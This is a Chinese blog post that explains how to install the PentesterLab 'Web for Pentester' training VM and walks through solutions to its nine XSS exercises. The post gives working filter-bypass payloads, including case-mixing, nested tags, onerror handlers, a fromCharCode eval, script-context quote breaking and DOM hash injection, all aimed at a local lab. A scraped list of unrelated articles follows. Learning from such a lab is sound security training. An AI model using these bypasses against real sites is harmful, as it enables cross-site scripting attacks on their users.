web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:

http://pentesterlab.com/exercises/web_for_pentester/

【安装流程】

1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。

点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。

点击设置,选择网络选项。如图所示设置网络

3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

【XSS部分解析】

xss example1:

完全没有过滤或者编码,各种姿势的玩~

name=<script>alert('bb')</script>

xss example2:

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert('bb')</sCript>

嗯,大小写绕过了

xss example3:

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert('bb')</scri</script>pt>

经测试这个在实例2也是可以用的

xss example4:

先输入最基本的测试name=<script>alert('bb')</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="1" onerror="alert('bb')">

成功了~~经测试这个payload在前三个应该也是可以的

xss example5:

先输入name=<img>正常显示

补全name=<img src="1" onerror="alert('bb')"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="1" onerror="confirm('aa')">

查了一下文档,发现可以这样写

name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

这个世界真神奇

xss example6:

查看元素,发现输出竟然在script标签中。

$a="<img  src="1" onerror="alert('bb')">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

xss example7:

审查元素:

<script>
var $a= 'fdf&quot;;alert($a);//';
</script>

发现双引号被HTMLEncode了

- -还发现$a=''这个地方变成了单引号。。。稍微改一下

name=fdf';alert($a);//

成了

xss example8:

呦,终于长进了,变成存储型的了~

随便输出个名字<script>alert('a')</script>

审查元素

HELLO &lt;script&gt;alert('a')&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')

在提交的时候,会触发弹窗

xss example9:

- -最后一个你是在逗我么

审查元素

<script>
document.write(location.hash.substring(1));
</script>

随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>

注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析的更多相关文章

  1. 【web安全】第二弹:XSS攻防中的复合编码问题

    最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...

  2. Java Web高性能开发(三)

    今日要闻: Clarifai:可识别视频中物体 最近几年,得益于深度学习技术的发展,谷歌和Facebook等企业的研究人员在图形识别软件领域取得了重大突破.现在,一家名为Clarifai的创业公司则提 ...

  3. 应用AXIS开始Web服务之旅(soap web services)——使用三种不同的语言访问创建的Web服务,分别是JAVA、VB、VC

    一. 介绍 本文并不是想介绍Web服务的原理.系统架构等,我们假设您已经了解了关于Web服务的一些基本的概念.原理等知识.本文主要是针对那些已经了解Web服务概念,但是还没有亲身体会Web服务所带来令 ...

  4. 转-Web Service中三种发送接受协议SOAP、http get、http post

    原文链接:web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 一.web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 在web服务中,有三种可供选择的发 ...

  5. Web Service进阶(三)HTTP-GET, HTTP-POST and SOAP的比较

    XML Web Service支持三种协议来与用户交流数据.这三种协议分别是: 1.SOAP:Simple Object Access Protocol 2.HTTP-GET 3.HTTP-POST ...

  6. 使用Micrisoft.net设计方案 第三章Web表示模式

    第三章Web表示模式 体系结构设计者在设计第一个作品时比较精简和干练.在第一次设计时,并清除自己做什么,因此比较小心谨慎.第二个作品是最危险的一个作品,此时他会对第一个作品做修饰和润色,以及把第一次设 ...

  7. ASP.NET MVC Web API 学习笔记---第一个Web API程序---近来很多大型的平台都公开了Web API

    1. Web API简单说明 近来很多大型的平台都公开了Web API.比如百度地图 Web API,做过地图相关的人都熟悉.公开服务这种方式可以使它易于与各种各样的设备和客户端平台集成功能,以及通过 ...

  8. [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. contentProvider模板

    package com.example.qunzheng.todolist.provider; import android.content.ContentProvider; import andro ...

  2. spring scheduler相同时间内执行两次的问题

    在网上找了大片文章,有的说是上下文被夹在两次的问题,可我配置scheduler的上下文着实没被夹在多次 之后才在网上找到,虽然还不明白原理,但是还是贴出来分享下

  3. C、Shell、Perl基于Tomcat开发CGI程序环境配置

    基于Tomcat7.0版本号配置CGI开发环境,步聚例如以下: 以我的Tomcat7安装文件夹为例:TOMCA_HOME = /Users/yangxin/Documents/devToos/java ...

  4. 从div盒子模型谈如何写可维护的css代码(转)

    市面上我们常常会看到各种各样的设计模式书籍,Java设计模式.C#设计模式.Ruby设计模式等等.在众多的语言设计模式中我唯独找不到关于CSS设计模式的资料,即使在网上找到类似内容,细细一看之下才发觉 ...

  5. 【转】GitHub平台最火Android开源项目整理——2013-08-25 17

    http://game.dapps.net/news/developer/9199.html GitHub在中国的火爆程度无需多言,越来越多的开源项目迁移到GitHub平台上.更何况,基于不要重复造轮 ...

  6. (整理)FORM:Oracle EBS客制化Form的菜单栏用法说明

    用户最多可以定义45个form-level的trigger,名称必须为SPECIALn, 其中SPECIAL1 to SPECIAL15属于Tools菜单项,放在“工具”主菜单下. SPECIAL16 ...

  7. linux-ssh远程后台执行脚本-放置后台执行问题(转)

    写了一个监控负载的小脚本(死循环,测试结束后再kill对应进程),因需要监控多台服务器,所以在一台服务器上使用ssh统一执行脚本遇到问题:使用ssh root@172.16.146.20 '/usr/ ...

  8. JQ实现复选框的全选反选不选

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  9. SQL Server内连接、外连接、交叉连接

    前言 在数据库查询中,我们常常会用到的表连接查询,而我自己在工作中也是时常用这些表连接查询.而就在刚刚我却还没有搞清楚数据库表连接到底有哪几种, 这几种表连接查询方式又有什么区别,实属惭愧!借以此文以 ...

  10. ASP.net程序在本地操作正确,新电脑不正确的处理经验

    一.可能是计算机操作系统位数不兼容的问题,如下处理后即可.